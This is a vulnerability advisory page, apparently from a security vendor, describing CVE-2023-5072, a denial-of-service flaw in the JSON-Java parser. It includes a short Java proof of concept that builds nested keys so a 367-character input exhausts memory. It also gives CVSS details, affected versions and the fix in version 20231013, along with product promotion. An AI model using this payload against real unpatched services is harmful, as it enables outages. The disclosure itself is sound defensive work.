Summary
Java: DoS Vulnerability in JSON-JAVA
A denial of service vulnerability in JSON-Java was discovered by ClusterFuzz. A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used. There are two issues: (1) the parser bug can be used to circumvent a check that is supposed to prevent the key in a JSON object from itself being another JSON object; (2) if a key does end up being a JSON object then it gets converted into a string, using \ to escape special characters, including \ itself. So by nesting JSON objects, with a key that is a JSON object that has a key that is a JSON object, and so on, we can get an exponential number of \ characters in the escaped string.
Severity
High - Because this is an already-fixed DoS vulnerability, the only remaining impact possible is for existing binaries that have not been updated yet.
Proof of Concept
package orgjsonbug;
import org.json.JSONObject;
/**
* Illustrates a bug in JSON-Java.
*/
public class Bug {
private static String makeNested(int depth) {
if (depth == 0) {
return "{\"a\":1}";
}
return "{\"a\":1;\t\0" + makeNested(depth - 1) + ":1}";
}
public static void main(String[] args) {
String input = makeNested(30);
System.out.printf("Input string has length %d: %s\n", input.length(), input);
JSONObject output = new JSONObject(input);
System.out.printf("Output JSONObject has length %d: %s\n", output.toString().length(), output);
}
}
When run, this reports that the input string has length 367. Then, after a long pause, the program crashes inside new JSONObject with OutOfMemoryError.
Further Analysis
The issue is fixed by this PR.
Timeline
Date reported: 07/14/2023
Date fixed:
Date disclosed: 10/12/2023
Impact
CVE-2023-5072 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (20231013); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2023-5072? CVE-2023-5072 is a high-severity security vulnerability in org.json:json (maven), affecting versions <= 20230618. It is fixed in 20231013.
- How severe is CVE-2023-5072? CVE-2023-5072 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of org.json:json are affected by CVE-2023-5072? org.json:json (maven) versions <= 20230618 is affected.
- Is there a fix for CVE-2023-5072? Yes. CVE-2023-5072 is fixed in 20231013. Upgrade to this version or later.
- Is CVE-2023-5072 exploitable, and should I be worried? Whether CVE-2023-5072 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2023-5072 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2023-5072? Upgrade
org.json:jsonto 20231013 or later.